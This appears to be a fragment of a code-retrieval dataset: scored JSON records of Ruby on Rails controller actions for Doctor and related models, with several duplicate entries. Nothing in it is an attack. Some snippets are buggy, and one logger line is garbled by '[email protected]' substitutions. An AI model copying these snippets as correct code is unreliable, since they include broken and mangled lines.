"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d1b34700b33c792df86cd28cb00f53d",
"score": "0.6416476",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d81c2484a023e1cb8101c5d8df7e8c3d",
"score": "0.6379156",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @doctor }\n else\n format.html { render action: 'new' }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab73eb46c1266e2603a1a96888a921b6",
"score": "0.6369493",
"text": "def index\n @doctors = @prarea.doctors.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @doctors }\n end\n end",
"title": ""
},
{
"docid": "cd62446cafd6b8f25856fd55d2fae34d",
"score": "0.63427836",
"text": "def create\n @doctor = Doctor.new(first_name: doctor_params[:first_name],\n last_name: doctor_params[:last_name],\n middle_name: doctor_params[:middle_name],\n user_id: current_user.id,\n birth_date: doctor_params[:birth_date] )\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baf1bc3e0aaef5f8cf093f6c71c12a7",
"score": "0.6278736",
"text": "def create\n @doctor = Doctor.new(params[:doctor]) \n\n if @doctor.save\n flash[:notice] = \"Doctor was successfully created\"\n redirect_to doctors_path\n else\n render action: 'new'\n end\n end",
"title": ""
},
{
"docid": "05fac3c37da0d352dbafd5a2cb77a1d9",
"score": "0.61731404",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to doctors_path, notice: 'Cadastro realizado com sucesso.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "b1bb811c5cdde43bad77c92f1e48cb52",
"score": "0.6153965",
"text": "def create\n info = {notice: 'Doctor was successfully created.'}\n if params[:hospital_id].present?\n @hospital = Hospital.find(params[:hospital_id])\n @doctor = @hospital.doctors.new(doctor_params)\n if @doctor.save\n params[:commit] == \"Save\" ? (redirect_to hospital_doctors_path(@hospital), info) : (redirect_to new_hospital_doctor_path(@hospital), info)\n else\n render :hospital_doctor_new\n end\n else\n @doctor = Doctor.new(doctor_params)\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "15cdd064fae0d22a19d985425bd39f7b",
"score": "0.6153931",
"text": "def index\n @doctors = Doctor.all\n end",
"title": ""
},
{
"docid": "c584138eea403f555eeba015af91c560",
"score": "0.6121354",
"text": "def create\n @user_doctor = UserDoctor.new(params[:user_doctor])\n\n respond_to do |format|\n if @user_doctor.save\n format.html { redirect_to @user_doctor, notice: 'User doctor was successfully created.' }\n format.json { render json: @user_doctor, status: :created, location: @user_doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d3f511320757e26c31c5131fafae872",
"score": "0.61047685",
"text": "def create\n @doctor_detail = DoctorDetail.new(params[:doctor_detail])\n\n respond_to do |format|\n if @doctor_detail.save\n format.html { redirect_to @doctor_detail, notice: 'Doctor detail was successfully created.' }\n format.json { render json: @doctor_detail, status: :created, location: @doctor_detail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a20e0400c2f6376855610a7e68491a8c",
"score": "0.60769147",
"text": "def create\n @doctor_add = DoctorAdd.new(doctor_add_params)\n\n respond_to do |format|\n if @doctor_add.save\n format.html { redirect_to @doctor_add, notice: 'Doctor add was successfully created.' }\n format.json { render :show, status: :created, location: @doctor_add }\n else\n format.html { render :new }\n format.json { render json: @doctor_add.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d163feedf598c5b1795083dd2c6c271d",
"score": "0.60744774",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n log_in_doctor @doctor\n format.html { redirect_to @doctor, notice: 'Doctor was successfully Registered.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b811218de50cb5aab4dd51fc09471779",
"score": "0.6060042",
"text": "def create\n @user = User.new(doctor_params)\n\n respond_to do |format|\n if @user.save\n @doctor = @user.doctor\n format.html { redirect_to doctors_path, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b489dbfcf5b514ab6ea1dc34b4104b21",
"score": "0.6014974",
"text": "def create\n @patient = Patient.new(patient_params)\n @patient.doctor = @doctor\n respond_to do |format|\n if @patient.save\n format.html { redirect_to doctor_patients_path, notice: 'Patient was successfully created.' }\n format.json { render json: @patient, status: :created, location: @patient }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9bffa4a1679f0db6a75117559d285aa9",
"score": "0.6007072",
"text": "def create\n @doctor_list = DoctorList.new(doctor_list_params)\n\n respond_to do |format|\n if @doctor_list.save\n format.html { redirect_to @doctor_list, notice: 'Doctor list was successfully created.' }\n format.json { render :show, status: :created, location: @doctor_list }\n else\n format.html { render :new }\n format.json { render json: @doctor_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5dc10e8e7842aec0388d5b1434f78b7e",
"score": "0.5984079",
"text": "def index\n @doctors = Doctor.all\n respond_to do |format|\n format.json { render json: @doctors.to_json(:methods => [:described_specialties, :specialty_ids])}\n end\n end",
"title": ""
},
{
"docid": "62e72532118cbea46b4d8fdcb686ec01",
"score": "0.59558105",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to maintenance_doctor_path @doctor, notice: \"Doctor was successfully created.\" }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "450c355b14939c46eab74fc2a4168369",
"score": "0.59547824",
"text": "def doctor_params\n params.require(:doctor).permit(:name, :date_registered, :service_type, :provider_id, :profile_picture_url, :service_ids => [])\n end",
"title": ""
},
{
"docid": "b740012d2970a732c5901801a74557b2",
"score": "0.5952659",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to(@doctor, :notice => 'Doctor was successfully created.') }\n format.xml { render :xml => @doctor, :status => :created, :location => @doctor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doctor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0d2eecc9a2c197e1370f9c847d47a38",
"score": "0.59512115",
"text": "def create\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n flash[:notice] = 'Doctor was successfully created.'\n format.html { redirect_to doctor_url(@doctor) }\n format.xml { head :created, :location => doctor_url(@doctor) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @doctor.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "45c824e1609b0e4a627127db4840e83b",
"score": "0.5932334",
"text": "def new\n @doctor = Doctor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doctor }\n end\n end",
"title": ""
},
{
"docid": "45c824e1609b0e4a627127db4840e83b",
"score": "0.5932334",
"text": "def new\n @doctor = Doctor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doctor }\n end\n end",
"title": ""
},
{
"docid": "d165de7f2de93ec978053f9603e16b9d",
"score": "0.5913391",
"text": "def create\n @case_doctor = CaseDoctor.new(case_doctor_params)\n\n respond_to do |format|\n if @case_doctor.save\n format.html { redirect_to @case_doctor, notice: 'Case doctor was successfully created.' }\n format.json { render :show, status: :created, location: @case_doctor }\n else\n format.html { render :new }\n format.json { render json: @case_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8f1327d4d7b83292965db08c1bcdec5",
"score": "0.58510876",
"text": "def create\n @doctor_type = DoctorType.new(params[:doctor_type])\n\n respond_to do |format|\n if @doctor_type.save\n format.html { redirect_to doctor_types_path, notice: I18n.t(:record_created) }\n format.json { render json: @doctor_type, status: :created, location: @doctor_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "848ab5b974a792b53d0a6dab95e7e7d0",
"score": "0.5843952",
"text": "def advanced_search_doctor\n @patient=User.find(session[:user_id]).patients.first\n @city=City.all\n @spec=Specialisation.all\n @doctors=params[:result]\n if @doctors != nil\n @doctors=JSON.parse(@doctors)\n end\n end",
"title": ""
},
{
"docid": "34156cc554c2568c4878211a1af1fb38",
"score": "0.58427256",
"text": "def create\n @pdoctor = Pdoctor.new(pdoctor_params)\n\n respond_to do |format|\n if @pdoctor.save\n format.html { redirect_to @pdoctor, notice: 'Pdoctor was successfully created.' }\n format.json { render :show, status: :created, location: @pdoctor }\n else\n format.html { render :new }\n format.json { render json: @pdoctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e3d6d55834ec44856c7bb1cd99d4233",
"score": "0.57694036",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n\n if @doctor.save\n redirect_to doctor_url(@doctor), flash: { success: 'Record successfully created!' }\n else\n generate_options\n render :new\n end\n end",
"title": ""
},
{
"docid": "9197f22a43c960edabf2fea96538beb0",
"score": "0.57647455",
"text": "def index\n @doctors = Doctor.all.decorate\n end",
"title": ""
},
{
"docid": "2b6ca01c0b0369935ef92778b5048d67",
"score": "0.57563996",
"text": "def create\n @patient = @doctor.patients.new(params[:patient])\n\n @doctor.save\n redirect_to doctor_path(@doctor)\n \n end",
"title": ""
},
{
"docid": "a44173d3e9907af04118062a113e05f9",
"score": "0.5736237",
"text": "def create\n @ask_doctor = AskDoctor.new(ask_doctor_params)\n\n respond_to do |format|\n if @ask_doctor.save\n format.html { redirect_to @ask_doctor, notice: 'Ask doctor was successfully created.' }\n format.json { render :show, status: :created, location: @ask_doctor }\n else\n format.html { render :new }\n format.json { render json: @ask_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdad5d8657914dafc1df5cbfdc424caa",
"score": "0.5733285",
"text": "def create\n @doctor_has_nurse = DoctorHasNurse.new(doctor_has_nurse_params)\n\n respond_to do |format|\n if @doctor_has_nurse.save\n format.html { redirect_to @doctor_has_nurse, notice: 'Doctor has nurse was successfully created.' }\n format.json { render :show, status: :created, location: @doctor_has_nurse }\n else\n format.html { render :new }\n format.json { render json: @doctor_has_nurse.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "33fa0a8ce72cf0170692218d0c741993",
"score": "0.57257134",
"text": "def create\n @admin_doctor = Admin::Doctor.new(params[:admin_doctor].merge(:user_id => current_user.id))\n\n respond_to do |format|\n if @admin_doctor.save\n format.html { redirect_to(@admin_doctor, :notice => 'Doctor was successfully created.') }\n format.xml { render :xml => @admin_doctor, :status => :created, :location => @admin_doctor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @admin_doctor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d709bac88f0f90c804a8cb575ea5731d",
"score": "0.57117563",
"text": "def new\n @kf_doctor = Kf::Doctor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kf_doctor }\n end\n end",
"title": ""
},
{
"docid": "0247db4be28c5cf7a18294b9399cfbe5",
"score": "0.57020265",
"text": "def create\n doctor = Doctor.create!(doctor_params)\n auth_token = AuthenticateDoctor.new(doctor.email, doctor.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n end",
"title": ""
},
{
"docid": "68cee7da6c5a0f997fc06a0938f2afde",
"score": "0.5701726",
"text": "def create\n p_name = params[:diagnose][:name]\n p_symptoms = params[:diagnose][:symptoms].split(' ')\n p_level = [:level]\n p_observations = params[:diagnose][:observations]\n p_treatments = params[:diagnose][:id_treatments].split(' ')\n \n aux_list = []\n p_treatments.each do |p_t|\n aux_list += [{\"id\" => p_t.to_i}]\n end\n \n @diagnosis = Diagnose.new(\n name: p_name,\n symptoms: p_symptoms,\n level: p_level,\n observations: p_observations,\n id_treatments: aux_list\n )\n respond_to do |format|\n if @diagnosis.save\n redirect_to controller: \"doctors\" and return\n else\n redirect_to controller: \"doctors\", notice: \"Unsuccessful...\" and return\n end\n end\n end",
"title": ""
},
{
"docid": "69b964660cfeeaee5340fec5c9c1dec6",
"score": "0.57003564",
"text": "def create\n # binding.pry\n @doctor = current_user.doctor.update_attributes(professional_statement: params[:doctor][:professional_statement], practicing_from: params[:doctor][:practicing_from], profile_image: params[:doctor][:profile_image], certificate_image: params[:doctor][:certificate_image], fax_number: params[:doctor][:fax_number])\n redirect_to doctors_path\n # respond_to do |format|\n # if @doctor.save\n # format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n # format.json { render :show, status: :created, location: @doctor }\n # else\n # format.html { render :new }\n # format.json { render json: @doctor.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "eced868aa0a0b29f7da331c7004c0abd",
"score": "0.5694247",
"text": "def create\n\n params[:doctor][:specialisation]= params[:doctor][:specialisation].join(\",\")\n @doctor = Doctor.new(params[:doctor])\n\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Appointment was successfully created.' }\n format.json { render json: @doctor, status: :created, location: @doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0670491649e7dba4499bd818316ccbce",
"score": "0.5690201",
"text": "def create\n @departamentos=Department.all\n @distritos=District.all\n @provincias=Province.all\n @categorias=Category.all\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person creada correctamente.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aab0e0f91b2a6e6d06a623152c28f26c",
"score": "0.56766784",
"text": "def set_doctor\n begin\n @doctor = Doctor.find(params[:id])\n rescue StandardError => e\n render json: { errors: e.message, status: 412 } \n end\n end",
"title": ""
},
{
"docid": "5859b1f54601c73ab384ce79bb117194",
"score": "0.56706387",
"text": "def create\n params[:medical][:doctor_type].delete(\"\")\n @medical = @case.build_medical(medical_params)\n @medical.firm = @firm\n @medical.case = @case\n @medical.user = @user\n\n respond_to do |format|\n if @medical.save\n format.html { redirect_to [@case, @medical], notice: 'Medicals tab was successfully created.' }\n format.json { render :show, status: :created, location: @medical }\n else\n format.html { render :new }\n format.json { render json: @medical.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0dac94291089c3a00e515ac1dafa0ed5",
"score": "0.5652084",
"text": "def create\n @vat_doctor = VatDoctor.new(vat_doctor_params)\n\n respond_to do |format|\n if @vat_doctor.save\n format.html { redirect_to @vat_doctor, notice: 'Vat doctor was successfully created.' }\n format.json { render :show, status: :created, location: @vat_doctor }\n else\n format.html { render :new }\n format.json { render json: @vat_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "40d2d353c37416811b4643299b1fa83c",
"score": "0.563542",
"text": "def create\n @doctor_specialization = DoctorSpecialization.new(doctor_specialization_params)\n\n respond_to do |format|\n if @doctor_specialization.save\n format.html { redirect_to @doctor_specialization, notice: 'Doctor specialization was successfully created.' }\n format.json { render :show, status: :created, location: @doctor_specialization }\n else\n format.html { render :new }\n format.json { render json: @doctor_specialization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baee23a35f19687e66dbb0edac47d55",
"score": "0.56271183",
"text": "def doctors\n doctor_patients.map do |dp|\n dp.patient\n end\n end",
"title": ""
},
{
"docid": "b232f7c03aa06d897f7727fa3f76f859",
"score": "0.5603053",
"text": "def create\n @doctor_paciente = DoctorPaciente.new(params[:doctor_paciente])\n\n respond_to do |format|\n if @doctor_paciente.save\n format.html { redirect_to @doctor_paciente, notice: 'Doctor paciente was successfully created.' }\n format.json { render json: @doctor_paciente, status: :created, location: @doctor_paciente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor_paciente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a47389da4f1044cc450b4f8ddebf014",
"score": "0.5601979",
"text": "def create\n @doctor = Doctor.where(id: params[:doctor_id]).first\n @appointment = @doctor.appointments.build(appointment_params)\n\n respond_to do |format|\n if @appointment.save\n format.html { redirect_to doctor_appointment_path(@doctor,@appointment), notice: 'Appointment was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03cc52fbf738f59374aad203619f6250",
"score": "0.5592039",
"text": "def create\n @veterinarydocslist = Veterinarydocslist.new(veterinarydocslist_params)\n\n respond_to do |format|\n if @veterinarydocslist.save\n format.html { redirect_to @veterinarydocslist, notice: 'Veterinary Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @veterinarydocslist }\n else\n format.html { render :new }\n format.json { render json: @veterinarydocslist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "566d5cb3d57cc18ea49be92af084cd3a",
"score": "0.55814433",
"text": "def new\n @doctor_detail = DoctorDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doctor_detail }\n end\n end",
"title": ""
},
{
"docid": "937392d9ab9d1ca9614aa99eeddf4f9a",
"score": "0.55802363",
"text": "def new\n @doctor = Doctor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @doctor.to_json(:except => [:created_at, :updated_at]) }\n end\n end",
"title": ""
},
{
"docid": "21474a809561b9235951756da563feb0",
"score": "0.55653757",
"text": "def doctor_params\n params.require(:doctor).permit(:name, :phone, :specialization)\n end",
"title": ""
},
{
"docid": "249b34095829e3a77c7dfbcb47c22618",
"score": "0.5556167",
"text": "def doctors\n appointments.map do |appointment|\n appointment.doctor\n end\n end",
"title": ""
},
{
"docid": "63eb33eee2d2c0fe5c733bc487e74e90",
"score": "0.55535114",
"text": "def add_new_person(api, cookie, person)\n pers = nil\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n res = api[\"people\"].post person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend",
"title": ""
},
{
"docid": "9ee77eee4eeaa6d4b15f09714f9ae15f",
"score": "0.5537452",
"text": "def create\n @municipality = Municipality.find(params[:municipality_id])\n @delegation = @municipality.delegations.new(delegation_params) \t\n respond_to do |format|\n if @municipality.save\n format.json {render json: @delegation, status: :ok }\n else\n format.json { render json: @delegation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ff1a2846ca9799298918e7491150189",
"score": "0.5537018",
"text": "def create\n @doctor_appointment = DoctorAppointment.new(doctor_appointment_params)\n\n respond_to do |format|\n if @doctor_appointment.save\n format.html { redirect_to @doctor_appointment, notice: 'Doctor appointment was successfully created.' }\n format.json { render :show, status: :created, location: @doctor_appointment }\n else\n format.html { render :new }\n format.json { render json: @doctor_appointment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b9dc2bf63bd156731eee9ae622ff018",
"score": "0.5536978",
"text": "def new_doctor\n session[:user_type] = Profile::DOCTOR\n @user = build_resource\n\n render 'new_doctor'\n end",
"title": ""
},
{
"docid": "4c405b250479fd8e56a071b0af1f0b68",
"score": "0.5529702",
"text": "def index\n @case_doctors = CaseDoctor.all\n end",
"title": ""
},
{
"docid": "5a567c69be01e15cc4d353ff127ee23a",
"score": "0.5529526",
"text": "def show\n @doctors = Doctor.find(params[:id])\n end",
"title": ""
},
{
"docid": "e5c8c156bb5958617308fc3c4c424c89",
"score": "0.5525807",
"text": "def new\n @doctor_type = DoctorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doctor_type }\n end\n end",
"title": ""
},
{
"docid": "4887f72eed28b73b9e5ae9c9274d8fab",
"score": "0.55231684",
"text": "def create\n client = Client.create!(\n name: params[:name],\n last_name: params[:last_name],\n email: params[:email],\n cpf: params[:cpf],\n phone: params[:phone],\n birth_date: params[:birth_date],\n sex: params[:sex],\n profession: params[:profession],\n marital_status: params[:marital_status],\n children: params[:children],\n number_children: params[:number_children],\n zip_code: params[:zip_code],\n street: params[:street],\n number: params[:number],\n neighbohood: params[:neighbohood],\n complement: params[:complement],\n city: params[:city],\n state: params[:state],\n name_emergency: params[:name_emergency],\n phone_emergency: params[:phone_emergency],\n doctor: params[:doctor],\n phone_doctor: params[:phone_doctor],\n agreement: params[:agreement],\n number_agreement: params[:number_agreement],\n hospital: params[:hospital]\n )\n render status: :created, json: client\n end",
"title": ""
},
{
"docid": "c3317687bcd3a7645f82811050a87052",
"score": "0.5522091",
"text": "def create\n if params[:type] == 'doctor'\n @doctor = Doctor.new(params.permit(:user_id, :name))\n @doctor.save\n @patient = Patient.where(user_id: @doctor.user_id).take\n @patient.destroy\n redirect_to '/doctors/new'\n elsif params[:type] = 'patient'\n @patient = Patient.new(params.permit(:user_id, :name))\n @patient.save\n @doctor = Doctor.where(user_id: @patient.user_id).take\n @doctor.destroy\n redirect_to '/doctors/new'\n end\n end",
"title": ""
},
{
"docid": "73df26ed1694d5d414f1744864d7644e",
"score": "0.5521978",
"text": "def createForCompany\n #takes the :id for the company and converts it to company_id for person\n if params[\"id\"]\n params[\"person\"][\"company_id\"] = params[\"id\"].to_i\n end\n render json: Person.create(params[\"person\"])\n end",
"title": ""
},
{
"docid": "03aeb1250ee5e1ac389816502e664a08",
"score": "0.55182785",
"text": "def create\n @delegato = Delegato.new(params[:delegato])\n\n respond_to do |format|\n if @delegato.save\n format.html { redirect_to @delegato, notice: 'Delegato was successfully created.' }\n format.json { render json: @delegato, status: :created, location: @delegato }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delegato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3c91ead133affff0d2ec1536094cafb",
"score": "0.5516311",
"text": "def new\n \n @doctor = Doctor.new(:degrees => \"MD\")\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @doctor }\n end\n end",
"title": ""
},
{
"docid": "256fabcaa961f32f090dbc32b5f66185",
"score": "0.55097085",
"text": "def create\n @doctor = Doctor.new(doctor_params)\n @doctor.user = current_user\n @doctor.update(aasm_state: :verified) unless Rails.env.production?\n\n respond_to do |format|\n if @doctor.save\n # format.html { redirect_to status_doctor_path(@doctor), notice: 'Doctor was successfully created.' }\n format.html { redirect_to next_wizard_path, notice: 'Doctor was successfully created.' }\n # format.json { render :status, status: :created, location: @doctor }\n else\n format.html { render :new }\n # format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ed1c74c8818fbbd6cb116fd42e64fe1",
"score": "0.5504375",
"text": "def doctors\n appointments.map do |patients_appointment|\n patients_appointment.doctor\n end\n end",
"title": ""
},
{
"docid": "4f926b6327a76686b699fadf1eff1005",
"score": "0.55013937",
"text": "def create_company\n \n data = JSON.parse(request.raw_post)\n errors = []\n company = Company.new(data[\"company\"])\n\n if company.valid? \n company.save\n \n # Loop through persons and apply them\n data[\"persons\"].each do |person|\n begin\n Person.create(:company_id => company.id, :name => person[\"name\"], :title => person[\"title\"])\n rescue \n errors << \"Person with name: '#{person[\"name\"]}' was not saved due to lack of data\"\n end\n end\n\n # Did any issues appear, while creating persons?\n if errors.count == 0\n render json: {result: \"OK\", message: \"success\"}.to_json\n else\n Person.where(:company_id => company.id).each { |p| p.destroy }\n company.destroy\n render json: {result: \"Error\", message: errors.join(',')}.to_json\n end\n\n else\n render json: {result: \"Error\", message: company.errors.full_messages.join(',')}.to_json\n end\n end",
"title": ""
},
{
"docid": "2a9d0dd8b9dec2f25797fe961e83e433",
"score": "0.5499717",
"text": "def new\n @user_doctor = UserDoctor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_doctor }\n end\n end",
"title": ""
},
{
"docid": "eea3f0bef10cbb1dec7ff2dd2a3808d6",
"score": "0.5494092",
"text": "def index\n @doctors = Doctor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @doctors }\n end\n end",
"title": ""
},
{
"docid": "0b1f14a9f1b67761c981da800a81c37f",
"score": "0.54912084",
"text": "def doctor_params\n params.require(:doctor).permit(:first_name, :last_name, :middle_name, :birth_date, :event_id)\n end",
"title": ""
},
{
"docid": "0cf769f2fdfa5483ace804dea087c17a",
"score": "0.54867107",
"text": "def create\n @doctor_education = DoctorEducation.new(params[:doctor_education])\n\n respond_to do |format|\n if @doctor_education.save\n format.html { redirect_to @doctor_education, notice: 'Doctor education was successfully created.' }\n format.json { render json: @doctor_education, status: :created, location: @doctor_education }\n else\n format.html { render action: \"new\" }\n format.json { render json: @doctor_education.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0422b64e0c4804df8029e6f873e136d",
"score": "0.547758",
"text": "def create\n @doctor = Doctor.new()\n @doctor.firstname = params[:doctor][:firstname]\n @doctor.lastname = params[:doctor][:lastname]\n @doctor.phone = params[:doctor][:phone]\n @doctor.address = params[:doctor][:address]\n @doctor.consultation = params[:doctor][:consultation]\n @doctor.user_id = params[:doctor][:user_id]\n @doctor.poster = params[:doctor][:poster]\n myDoctor = Doctor.new()\n logger = DoctorLogger.new()\n #add new Doctor users to the doctorlog.txt file Firstname, lastname and the current_user's email\n logger.logInformation(\"Dr.\" [email protected]+\" \"[email protected]+\" has been added as a user \"[email protected])\n respond_to do |format|\n if @doctor.save\n format.html { redirect_to @doctor, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @doctor }\n else\n format.html { render :new }\n format.json { render json: @doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3524cd85459a40ffa0015a639804fa8e",
"score": "0.5468389",
"text": "def create\n @dominate = Dominate.new(params[:dominate])\n\n respond_to do |format|\n if @dominate.save\n format.html { redirect_to @dominate, notice: 'Dominate was successfully created.' }\n format.json { render json: @dominate, status: :created, location: @dominate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dominate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a71a96c412440bbc66d7e9ee1399c8b",
"score": "0.5468007",
"text": "def create\n @diretorio = Diretorio.new(diretorio_params)\n if @diretorio.save\n render json: @diretorio\n else\n render json: @diretorio.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d2d5a07a5d640a7519f7f81f746657fa",
"score": "0.54646516",
"text": "def create\n @sport_doctor = SportDoctor.new(params[:sport_doctor])\n\n respond_to do |format|\n if @sport_doctor.save\n format.html { redirect_to @sport_doctor, notice: 'Sport doctor was successfully created.' }\n format.json { render json: @sport_doctor, status: :created, location: @sport_doctor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sport_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80d1cfd7a7d1056cd50c00ab7e540032",
"score": "0.54592806",
